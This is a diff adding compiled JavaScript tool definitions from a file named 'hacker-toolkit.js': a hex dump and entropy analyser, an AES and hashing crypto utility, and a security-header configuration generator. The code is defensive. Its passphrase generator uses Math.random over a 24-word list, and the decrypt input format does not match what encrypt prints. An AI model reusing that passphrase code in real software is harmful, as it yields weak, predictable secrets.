3140
+ const dumpSize = Math.min(256, data.length);
3141
+ lines.push(`### Hex Dump (first ${dumpSize} bytes)`);
3142
+ lines.push('```');
3143
+ for (let i = 0; i < dumpSize; i += 16) {
3144
+ const offset = i.toString(16).padStart(8, '0');
3145
+ const hexParts = [];
3146
+ const asciiParts = [];
3147
+ for (let j = 0; j < 16; j++) {
3148
+ if (i + j < dumpSize) {
3149
+ hexParts.push(data[i + j].toString(16).padStart(2, '0'));
3150
+ const byte = data[i + j];
3151
+ asciiParts.push(byte >= 0x20 && byte <= 0x7E ? String.fromCharCode(byte) : '.');
3152
+ }
3153
+ else {
3154
+ hexParts.push(' ');
3155
+ asciiParts.push(' ');
3156
+ }
3157
+ }
3158
+ const hex = hexParts.slice(0, 8).join(' ') + ' ' + hexParts.slice(8).join(' ');
3159
+ lines.push(`${offset} ${hex} |${asciiParts.join('')}|`);
3160
+ }
3161
+ lines.push('```');
3162
+ break;
3163
+ }
3164
+ case 'entropy': {
3165
+ // Shannon entropy calculation
3166
+ const totalEntropy = calculateEntropy(data);
3167
+ lines.push('### Shannon Entropy Analysis');
3168
+ lines.push('');
3169
+ lines.push(`**Overall entropy**: ${totalEntropy.toFixed(4)} bits/byte (max: 8.0)`);
3170
+ lines.push('');
3171
+ // Classification
3172
+ let classification;
3173
+ if (totalEntropy > 7.5)
3174
+ classification = 'Very high — likely encrypted or compressed';
3175
+ else if (totalEntropy > 6.5)
3176
+ classification = 'High — possibly compressed or compiled binary';
3177
+ else if (totalEntropy > 5.0)
3178
+ classification = 'Moderate — mixed content (code, data)';
3179
+ else if (totalEntropy > 3.5)
3180
+ classification = 'Low-moderate — likely text with some structure';
3181
+ else
3182
+ classification = 'Low — highly structured/repetitive data';
3183
+ lines.push(`**Classification**: ${classification}`);
3184
+ lines.push('');
3185
+ // Entropy by section (divide file into 8 sections)
3186
+ const sectionSize = Math.max(1, Math.floor(data.length / 8));
3187
+ lines.push('### Entropy by Section');
3188
+ lines.push('| Section | Offset | Entropy |');
3189
+ lines.push('|---------|--------|---------|');
3190
+ for (let i = 0; i < 8 && i * sectionSize < data.length; i++) {
3191
+ const start = i * sectionSize;
3192
+ const end = Math.min(start + sectionSize, data.length);
3193
+ const section = data.slice(start, end);
3194
+ const sectionEntropy = calculateEntropy(section);
3195
+ const bar = '#'.repeat(Math.round(sectionEntropy * 4));
3196
+ lines.push(`| ${i + 1} | 0x${start.toString(16)} | ${sectionEntropy.toFixed(4)} ${bar} |`);
3197
+ }
3198
+ lines.push('');
3199
+ // Byte frequency histogram (top 10)
3200
+ const freq = new Map();
3201
+ for (const byte of data) {
3202
+ freq.set(byte, (freq.get(byte) || 0) + 1);
3203
+ }
3204
+ const topBytes = [...freq.entries()].sort((a, b) => b[1] - a[1]).slice(0, 10);
3205
+ lines.push('### Top 10 Most Common Bytes');
3206
+ lines.push('| Byte | Hex | Char | Count | % |');
3207
+ lines.push('|------|-----|------|-------|---|');
3208
+ for (const [byte, count] of topBytes) {
3209
+ const char = byte >= 0x20 && byte <= 0x7E ? String.fromCharCode(byte) : '.';
3210
+ const pct = ((count / data.length) * 100).toFixed(2);
3211
+ lines.push(`| ${byte} | 0x${byte.toString(16).padStart(2, '0')} | ${char} | ${count} | ${pct}% |`);
3212
+ }
3213
+ break;
3214
+ }
3215
+ default:
3216
+ return `Error: Unknown action "${action}". Available: headers, strings, metadata, hex_dump, entropy`;
3217
+ }
3218
+ return lines.join('\n');
3219
+ },
3220
+ });
3221
+ // ─────────────────────────────────────────────────────────────────────────────
3222
+ // 19. crypto_tool — Cryptography utilities
3223
+ // ─────────────────────────────────────────────────────────────────────────────
3224
+ registerTool({
3225
+ name: 'crypto_tool',
3226
+ description: 'Cryptography utilities. Encrypt/decrypt with AES-256-CBC or AES-256-GCM, hash with MD5/SHA family, compute HMACs, generate key pairs, and derive keys with PBKDF2/scrypt.',
3227
+ parameters: {
3228
+ action: { type: 'string', description: 'Action: encrypt, decrypt, hash, hmac, keygen, derive', required: true },
3229
+ algorithm: { type: 'string', description: 'Algorithm (encrypt: aes-256-cbc, aes-256-gcm; hash: md5, sha1, sha256, sha512, sha3-256)' },
3230
+ data: { type: 'string', description: 'Input data', required: true },
3231
+ key: { type: 'string', description: 'Key for encrypt/decrypt/hmac' },
3232
+ output_format: { type: 'string', description: 'Output format: hex or base64', default: 'hex' },
3233
+ },
3234
+ tier: 'free',
3235
+ async execute(args) {
3236
+ const action = String(args.action).toLowerCase();
3237
+ const algorithm = String(args.algorithm || '').toLowerCase();
3238
+ const data = String(args.data);
3239
+ const key = args.key ? String(args.key) : undefined;
3240
+ const outputFormat = String(args.output_format || 'hex');
3241
+ const lines = ['## Crypto Tool', ''];
3242
+ try {
3243
+ switch (action) {
3244
+ case 'hash': {
3245
+ const algo = algorithm || 'sha256';
3246
+ const supportedHashes = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'sha3-256', 'sha3-384', 'sha3-512'];
3247
+ if (!supportedHashes.includes(algo)) {
3248
+ return `Error: Unsupported hash algorithm "${algo}". Supported: ${supportedHashes.join(', ')}`;
3249
+ }
3250
+ const hash = createHash(algo).update(data).digest(outputFormat);
3251
+ lines.push(`**Algorithm**: ${algo.toUpperCase()}`);
3252
+ lines.push(`**Output format**: ${outputFormat}`);
3253
+ lines.push('');
3254
+ lines.push('### Result');
3255
+ lines.push('```');
3256
+ lines.push(hash);
3257
+ lines.push('```');
3258
+ lines.push('');
3259
+ lines.push(`**Input length**: ${data.length} chars`);
3260
+ lines.push(`**Hash length**: ${hash.length} chars`);
3261
+ // Also show other common hashes for comparison
3262
+ if (algo === 'sha256') {
3263
+ lines.push('');
3264
+ lines.push('### Additional Hashes');
3265
+ for (const a of ['md5', 'sha1', 'sha512']) {
3266
+ const h = createHash(a).update(data).digest(outputFormat);
3267
+ lines.push(`- **${a.toUpperCase()}**: \`${h}\``);
3268
+ }
3269
+ }
3270
+ break;
3271
+ }
3272
+ case 'hmac': {
3273
+ if (!key)
3274
+ return 'Error: key parameter required for HMAC';
3275
+ const algo = algorithm || 'sha256';
3276
+ const hmac = createHmac(algo, key).update(data).digest(outputFormat);
3277
+ lines.push(`**Algorithm**: HMAC-${algo.toUpperCase()}`);
3278
+ lines.push(`**Output format**: ${outputFormat}`);
3279
+ lines.push('');
3280
+ lines.push('### Result');
3281
+ lines.push('```');
3282
+ lines.push(hmac);
3283
+ lines.push('```');
3284
+ break;
3285
+ }
3286
+ case 'encrypt': {
3287
+ const algo = algorithm || 'aes-256-cbc';
3288
+ if (algo === 'aes-256-cbc') {
3289
+ // Generate key from password using PBKDF2 if key provided, else random
3290
+ const salt = randomBytes(16);
3291
+ const derivedKey = key
3292
+ ? pbkdf2Sync(key, salt, 100000, 32, 'sha256')
3293
+ : randomBytes(32);
3294
+ const iv = randomBytes(16);
3295
+ const cipher = createCipheriv('aes-256-cbc', derivedKey, iv);
3296
+ let encrypted = cipher.update(data, 'utf-8', outputFormat);
3297
+ encrypted += cipher.final(outputFormat);
3298
+ lines.push(`**Algorithm**: AES-256-CBC`);
3299
+ lines.push(`**Key derivation**: PBKDF2 (100,000 iterations, SHA-256)`);
3300
+ lines.push('');
3301
+ lines.push('### Encrypted Data');
3302
+ lines.push('```');
3303
+ lines.push(encrypted);
3304
+ lines.push('```');
3305
+ lines.push('');
3306
+ lines.push('### Decryption Parameters (save these!)');
3307
+ lines.push(`- **Salt**: \`${salt.toString('hex')}\``);
3308
+ lines.push(`- **IV**: \`${iv.toString('hex')}\``);
3309
+ if (!key) {
3310
+ lines.push(`- **Key**: \`${derivedKey.toString('hex')}\` (randomly generated)`);
3311
+ }
3312
+ }
3313
+ else if (algo === 'aes-256-gcm') {
3314
+ const salt = randomBytes(16);
3315
+ const derivedKey = key
3316
+ ? pbkdf2Sync(key, salt, 100000, 32, 'sha256')
3317
+ : randomBytes(32);
3318
+ const iv = randomBytes(12);
3319
+ const cipher = createCipheriv('aes-256-gcm', derivedKey, iv);
3320
+ let encrypted = cipher.update(data, 'utf-8', outputFormat);
3321
+ encrypted += cipher.final(outputFormat);
3322
+ const authTag = cipher.getAuthTag();
3323
+ lines.push(`**Algorithm**: AES-256-GCM (authenticated encryption)`);
3324
+ lines.push(`**Key derivation**: PBKDF2 (100,000 iterations, SHA-256)`);
3325
+ lines.push('');
3326
+ lines.push('### Encrypted Data');
3327
+ lines.push('```');
3328
+ lines.push(encrypted);
3329
+ lines.push('```');
3330
+ lines.push('');
3331
+ lines.push('### Decryption Parameters (save these!)');
3332
+ lines.push(`- **Salt**: \`${salt.toString('hex')}\``);
3333
+ lines.push(`- **IV**: \`${iv.toString('hex')}\``);
3334
+ lines.push(`- **Auth Tag**: \`${authTag.toString('hex')}\``);
3335
+ if (!key) {
3336
+ lines.push(`- **Key**: \`${derivedKey.toString('hex')}\` (randomly generated)`);
3337
+ }
3338
+ }
3339
+ else {
3340
+ return `Error: Unsupported encryption algorithm "${algo}". Supported: aes-256-cbc, aes-256-gcm`;
3341
+ }
3342
+ break;
3343
+ }
3344
+ case 'decrypt': {
3345
+ if (!key)
3346
+ return 'Error: key parameter required for decryption';
3347
+ const algo = algorithm || 'aes-256-cbc';
3348
+ // Expect data in format: salt:iv:ciphertext (or salt:iv:ciphertext:authtag for GCM)
3349
+ const parts = data.split(':');
3350
+ if (algo === 'aes-256-cbc') {
3351
+ if (parts.length < 3) {
3352
+ return 'Error: Encrypted data must be in format "salt:iv:ciphertext" (hex-encoded, colon-separated)';
3353
+ }
3354
+ const salt = Buffer.from(parts[0], 'hex');
3355
+ const iv = Buffer.from(parts[1], 'hex');
3356
+ const ciphertext = parts[2];
3357
+ const derivedKey = pbkdf2Sync(key, salt, 100000, 32, 'sha256');
3358
+ const decipher = createDecipheriv('aes-256-cbc', derivedKey, iv);
3359
+ let decrypted = decipher.update(ciphertext, outputFormat, 'utf-8');
3360
+ decrypted += decipher.final('utf-8');
3361
+ lines.push(`**Algorithm**: AES-256-CBC`);
3362
+ lines.push('');
3363
+ lines.push('### Decrypted Data');
3364
+ lines.push('```');
3365
+ lines.push(decrypted);
3366
+ lines.push('```');
3367
+ }
3368
+ else if (algo === 'aes-256-gcm') {
3369
+ if (parts.length < 4) {
3370
+ return 'Error: Encrypted data must be in format "salt:iv:ciphertext:authtag" (hex-encoded, colon-separated)';
3371
+ }
3372
+ const salt = Buffer.from(parts[0], 'hex');
3373
+ const iv = Buffer.from(parts[1], 'hex');
3374
+ const ciphertext = parts[2];
3375
+ const authTag = Buffer.from(parts[3], 'hex');
3376
+ const derivedKey = pbkdf2Sync(key, salt, 100000, 32, 'sha256');
3377
+ const decipher = createDecipheriv('aes-256-gcm', derivedKey, iv);
3378
+ decipher.setAuthTag(authTag);
3379
+ let decrypted = decipher.update(ciphertext, outputFormat, 'utf-8');
3380
+ decrypted += decipher.final('utf-8');
3381
+ lines.push(`**Algorithm**: AES-256-GCM (authenticated)`);
3382
+ lines.push('');
3383
+ lines.push('### Decrypted Data');
3384
+ lines.push('```');
3385
+ lines.push(decrypted);
3386
+ lines.push('```');
3387
+ }
3388
+ else {
3389
+ return `Error: Unsupported decryption algorithm "${algo}". Supported: aes-256-cbc, aes-256-gcm`;
3390
+ }
3391
+ break;
3392
+ }
3393
+ case 'keygen': {
3394
+ // Generate various types of keys
3395
+ lines.push('### Generated Keys');
3396
+ lines.push('');
3397
+ // Random bytes (for symmetric encryption)
3398
+ const key128 = randomBytes(16).toString('hex');
3399
+ const key256 = randomBytes(32).toString('hex');
3400
+ const key512 = randomBytes(64).toString('hex');
3401
+ lines.push('**Symmetric Keys (random)**:');
3402
+ lines.push(`- **128-bit**: \`${key128}\``);
3403
+ lines.push(`- **256-bit**: \`${key256}\``);
3404
+ lines.push(`- **512-bit**: \`${key512}\``);
3405
+ lines.push('');
3406
+ // UUID v4
3407
+ const uuid = [
3408
+ randomBytes(4).toString('hex'),
3409
+ randomBytes(2).toString('hex'),
3410
+ '4' + randomBytes(2).toString('hex').slice(1),
3411
+ ((parseInt(randomBytes(1).toString('hex'), 16) & 0x3f) | 0x80).toString(16) + randomBytes(1).toString('hex'),
3412
+ randomBytes(6).toString('hex'),
3413
+ ].join('-');
3414
+ lines.push(`**UUID v4**: \`${uuid}\``);
3415
+ lines.push('');
3416
+ // API key style
3417
+ const apiKey = 'sk_' + randomBytes(24).toString('base64url');
3418
+ lines.push(`**API Key style**: \`${apiKey}\``);
3419
+ lines.push('');
3420
+ // Password (passphrase)
3421
+ const passphraseWords = [
3422
+ 'correct', 'horse', 'battery', 'staple', 'ocean', 'forest', 'mountain', 'river',
3423
+ 'crystal', 'thunder', 'phantom', 'silver', 'golden', 'anchor', 'dragon', 'falcon',
3424
+ 'quantum', 'nebula', 'cipher', 'matrix', 'vortex', 'zenith', 'prism', 'flux',
3425
+ ];
3426
+ const passphrase = Array.from({ length: 4 }, () => passphraseWords[Math.floor(Math.random() * passphraseWords.length)]).join('-');
3427
+ lines.push(`**Passphrase**: \`${passphrase}\``);
3428
+ lines.push('');
3429
+ // JWT secret
3430
+ const jwtSecret = randomBytes(32).toString('base64');
3431
+ lines.push(`**JWT Secret (base64)**: \`${jwtSecret}\``);
3432
+ break;
3433
+ }
3434
+ case 'derive': {
3435
+ if (!key)
3436
+ return 'Error: key (password) parameter required for key derivation';
3437
+ const salt = data || randomBytes(16).toString('hex');
3438
+ const saltBuffer = Buffer.from(salt, salt.match(/^[a-f0-9]+$/i) ? 'hex' : 'utf-8');
3439
+ // PBKDF2
3440
+ const pbkdf2Key = pbkdf2Sync(key, saltBuffer, 100000, 32, 'sha256');
3441
+ lines.push('### PBKDF2');
3442
+ lines.push(`- **Iterations**: 100,000`);
3443
+ lines.push(`- **Hash**: SHA-256`);
3444
+ lines.push(`- **Salt**: \`${saltBuffer.toString('hex')}\``);
3445
+ lines.push(`- **Derived key (hex)**: \`${pbkdf2Key.toString('hex')}\``);
3446
+ lines.push(`- **Derived key (base64)**: \`${pbkdf2Key.toString('base64')}\``);
3447
+ lines.push('');
3448
+ // scrypt
3449
+ const scryptKey = scryptSync(key, saltBuffer, 32, { N: 16384, r: 8, p: 1 });
3450
+ lines.push('### scrypt');
3451
+ lines.push(`- **N**: 16384, **r**: 8, **p**: 1`);
3452
+ lines.push(`- **Salt**: \`${saltBuffer.toString('hex')}\``);
3453
+ lines.push(`- **Derived key (hex)**: \`${scryptKey.toString('hex')}\``);
3454
+ lines.push(`- **Derived key (base64)**: \`${scryptKey.toString('base64')}\``);
3455
+ break;
3456
+ }
3457
+ default:
3458
+ return `Error: Unknown action "${action}". Available: encrypt, decrypt, hash, hmac, keygen, derive`;
3459
+ }
3460
+ }
3461
+ catch (e) {
3462
+ lines.push(`**Error**: ${e.message}`);
3463
+ }
3464
+ return lines.join('\n');
3465
+ },
3466
+ });
3467
+ // ─────────────────────────────────────────────────────────────────────────────
3468
+ // 20. security_headers_generate — Generate security headers
3469
+ // ─────────────────────────────────────────────────────────────────────────────
3470
+ registerTool({
3471
+ name: 'security_headers_generate',
3472
+ description: 'Generate complete security header configurations for various frameworks. Includes CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and more. Returns framework-specific code ready to copy-paste.',
3473
+ parameters: {
3474
+ framework: { type: 'string', description: 'Framework: express, nextjs, nginx, apache, cloudflare, generic', default: 'generic' },
3475
+ policy: { type: 'string', description: 'Security policy level: strict, moderate, relaxed', default: 'strict' },
3476
+ },
3477
+ tier: 'free',
3478
+ async execute(args) {
3479
+ const framework = String(args.framework || 'generic').toLowerCase();
3480
+ const policy = String(args.policy || 'strict').toLowerCase();
3481
+ const headers = [];
3482
+ // CSP
3483
+ let csp;
3484
+ switch (policy) {
3485
+ case 'strict':
3486
+ csp = "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; media-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests";
3487
+ break;
3488
+ case 'moderate':
3489
+ csp = "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https:; media-src 'self'; object-src 'none'; frame-src 'self'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'";
3490
+ break;
3491
+ case 'relaxed':
3492
+ csp = "default-src 'self' https:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https:; style-src 'self' 'unsafe-inline' https:; img-src * data: blob:; font-src 'self' https: data:; connect-src 'self' https: wss:; media-src 'self' https: blob:; object-src 'none'; frame-src 'self' https:; base-uri 'self'; form-action 'self' https:";
3493
+ break;
3494
+ default:
3495
+ csp = "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'";
3496
+ }
3497
+ headers.push({ name: 'Content-Security-Policy', value: csp, comment: 'Controls which resources the browser is allowed to load' });
3498
+ // HSTS
3499
+ const hstsMaxAge = policy === 'strict' ? 63072000 : policy === 'moderate' ? 31536000 : 86400;
3500
+ const hstsValue = `max-age=${hstsMaxAge}; includeSubDomains${policy === 'strict' ? '; preload' : ''}`;
3501
+ headers.push({ name: 'Strict-Transport-Security', value: hstsValue, comment: 'Forces HTTPS for all future requests' });
3502
+ // X-Frame-Options
3503
+ const xfo = policy === 'strict' ? 'DENY' : 'SAMEORIGIN';
3504
+ headers.push({ name: 'X-Frame-Options', value: xfo, comment: 'Prevents clickjacking by controlling iframe embedding' });
3505
+ // X-Content-Type-Options
3506
+ headers.push({ name: 'X-Content-Type-Options', value: 'nosniff', comment: 'Prevents MIME type sniffing' });
3507
+ // Referrer-Policy
3508
+ const referrer = policy === 'strict' ? 'no-referrer' : policy === 'moderate' ? 'strict-origin-when-cross-origin' : 'no-referrer-when-downgrade';
3509
+ headers.push({ name: 'Referrer-Policy', value: referrer, comment: 'Controls how much referrer info is sent' });
3510
+ // Permissions-Policy
3511
+ let permissions;
3512
+ switch (policy) {
3513
+ case 'strict':
3514
+ permissions = 'accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), interest-cohort=()';
3515
+ break;
3516
+ case 'moderate':
3517
+ permissions = 'accelerometer=(), camera=(self), geolocation=(self), gyroscope=(), magnetometer=(), microphone=(self), payment=(self), usb=()';
3518
+ break;
3519
+ case 'relaxed':
3520
+ permissions = 'camera=(self), geolocation=(self), microphone=(self), payment=(self)';
3521
+ break;
3522
+ default:
3523
+ permissions = 'accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()';
3524
+ }
3525
+ headers.push({ name: 'Permissions-Policy', value: permissions, comment: 'Controls which browser features can be used' });
3526
+ // X-XSS-Protection (legacy but still useful)
3527
+ headers.push({ name: 'X-XSS-Protection', value: '1; mode=block', comment: 'Legacy XSS filter (CSP is the modern replacement)' });
3528
+ // Cross-Origin headers (strict only)
3529
+ if (policy === 'strict' || policy === 'moderate') {
3530
+ headers.push({ name: 'Cross-Origin-Opener-Policy', value: 'same-origin', comment: 'Isolates browsing context from cross-origin documents' });
3531
+ headers.push({ name: 'Cross-Origin-Resource-Policy', value: 'same-origin', comment: 'Prevents other origins from loading your resources' });
3532
+ headers.push({ name: 'Cross-Origin-Embedder-Policy', value: policy === 'strict' ? 'require-corp' : 'credentialless', comment: 'Controls cross-origin resource embedding' });
3533
+ }
3534
+ // Remove info headers
3535
+ const removeHeaders = ['X-Powered-By', 'Server'];
3536
+ // Build output
3537
+ const lines = [
3538
+ '## Security Headers Configuration',
3539
+ '',
3540
+ `**Framework**: ${framework}`,
3541
+ `**Policy**: ${policy}`,
3542
+ `**Headers**: ${headers.length} set, ${removeHeaders.length} removed`,
3543
+ '',
3544
+ ];
3545
+ // Show header summary
3546
+ lines.push('### Headers');
3547
+ lines.push('');
3548
+ for (const h of headers) {
3549
+ lines.push(`- **${h.name}**: ${h.comment}`);
3550
+ }
3551
+ lines.push('');
3552
+ // Framework-specific code
3553
+ lines.push('### Implementation');
3554
+ lines.push('');
3555
+ switch (framework) {
3556
+ case 'express':
3557
+ lines.push('```typescript');
3558
+ lines.push('// Express.js security headers middleware');
3559
+ lines.push('import { Request, Response, NextFunction } from "express";');
3560
+ lines.push('');
3561
+ lines.push('export function securityHeaders(req: Request, res: Response, next: NextFunction) {');
3562
+ for (const h of headers) {
3563
+ lines.push(` // ${h.comment}`);
3564
+ lines.push(` res.setHeader("${h.name}", "${h.value}");`);
3565
+ }
3566
+ lines.push('');
3567
+ lines.push(' // Remove information disclosure headers');
3568
+ for (const rh of removeHeaders) {
3569
+ lines.push(` res.removeHeader("${rh}");`);
3570
+ }
3571
+ lines.push('');
3572
+ lines.push(' next();');
3573
+ lines.push('}');
3574
+ lines.push('');
3575
+ lines.push('// Usage: app.use(securityHeaders);');
3576
+ lines.push('```');
3577
+ break;
3578
+ case 'nextjs':
3579
+ lines.push('```typescript');
3580
+ lines.push('// next.config.js — Security headers');
3581
+ lines.push('const securityHeaders = [');
3582
+ for (const h of headers) {
3583
+ lines.push(` {`);
3584
+ lines.push(` key: "${h.name}",`);
3585
+ lines.push(` value: "${h.value}",`);
3586
+ lines.push(` },`);
3587
+ }
3588
+ lines.push('];');
3589
+ lines.push('');
3590
+ lines.push('module.exports = {');
3591
+ lines.push(' async headers() {');
3592
+ lines.push(' return [');
3593
+ lines.push(' {');
3594
+ lines.push(' // Apply to all routes');
3595
+ lines.push(' source: "/(.*)",');
3596
+ lines.push(' headers: securityHeaders,');
3597
+ lines.push(' },');
3598
+ lines.push(' ];');
3599
+ lines.push(' },');
3600
+ lines.push(' // Remove X-Powered-By');
3601
+ lines.push(' poweredByHeader: false,');
3602
+ lines.push('};');
3603
+ lines.push('```');
3604
+ break;
3605
+ case 'nginx':
3606
+ lines.push('```nginx');
3607
+ lines.push('# Nginx security headers');
3608
+ lines.push('# Add to server {} or location {} block');
3609
+ lines.push('');
3610
+ for (const h of headers) {
3611
+ lines.push(`# ${h.comment}`);
3612
+ lines.push(`add_header ${h.name} "${h.value}" always;`);
3613
+ lines.push('');
3614
+ }
3615
+ lines.push('# Remove information disclosure headers');
3616
+ lines.push('server_tokens off;');
3617
+ lines.push('proxy_hide_header X-Powered-By;');
3618
+ lines.push('proxy_hide_header Server;');
3619
+ lines.push('```');
3620
+ break;
3621
+ case 'apache':
3622
+ lines.push('```apache');
3623
+ lines.push('# Apache security headers');
3624
+ lines.push('# Add to .htaccess or httpd.conf');
3625
+ lines.push('');
3626
+ lines.push('<IfModule mod_headers.c>');
3627
+ for (const h of headers) {
3628
+ lines.push(` # ${h.comment}`);
3629
+ lines.push(` Header always set ${h.name} "${h.value}"`);
3630
+ }
3631
+ lines.push('');
3632
+ lines.push(' # Remove information disclosure headers');
3633
+ lines.push(' Header unset X-Powered-By');
3634
+ lines.push(' Header always unset X-Powered-By');
3635
+ lines.push('</IfModule>');
3636
+ lines.push('');
3637
+ lines.push('# Hide server version');
3638
+ lines.push('ServerTokens Prod');
3639
+ lines.push('ServerSignature Off');
3640
+ lines.push('```');
3641
+ break;
3642
+ case 'cloudflare':
3643
+ lines.push('```javascript');
3644
+ lines.push('// Cloudflare Worker — Security headers');
3645
+ lines.push('export default {');
3646
+ lines.push(' async fetch(request, env) {');
3647
+ lines.push(' const response = await fetch(request);');
3648
+ lines.push(' const headers = new Headers(response.headers);');
3649
+ lines.push('');
3650
+ for (const h of headers) {
3651
+ lines.push(` // ${h.comment}`);
3652
+ lines.push(` headers.set("${h.name}", "${h.value}");`);
3653
+ }
3654
+ lines.push('');
3655
+ lines.push(' // Remove information disclosure headers');
3656
+ for (const rh of removeHeaders) {
3657
+ lines.push(` headers.delete("${rh}");`);
3658
+ }
3659
+ lines.push('');
3660
+ lines.push(' return new Response(response.body, {');
3661
+ lines.push(' status: response.status,');
3662
+ lines.push(' headers,');
3663
+ lines.push(' });');
3664
+ lines.push(' },');
3665
+ lines.push('};');
3666
+ lines.push('```');
3667
+ break;
3668
+ case 'generic':
3669
+ default:
3670
+ lines.push('```');
3671
+ lines.push('# Security Headers (generic — adapt to your server)');
3672
+ lines.push('');
3673
+ for (const h of headers) {
3674
+ lines.push(`# ${h.comment}`);
3675
+ lines.push(`${h.name}: ${h.value}`);
3676
+ lines.push('');
3677
+ }
3678
+ lines.push('# Headers to REMOVE:');
3679
+ for (const rh of removeHeaders) {
3680
+ lines.push(`# Remove: ${rh}`);
3681
+ }
3682
+ lines.push('```');
3683
+ break;
3684
+ }
3685
+ lines.push('');
3686
+ lines.push('---');
3687
+ lines.push('');
3688
+ lines.push('### Testing');
3689
+ lines.push('Verify your headers at:');
3690
+ lines.push('- https://securityheaders.com');
3691
+ lines.push('- https://observatory.mozilla.org');
3692
+ lines.push('- `curl -I https://your-domain.com`');
3693
+ return lines.join('\n');
3694
+ },
3695
+ });
3696
+ }
3697
+ //# sourceMappingURL=hacker-toolkit.js.map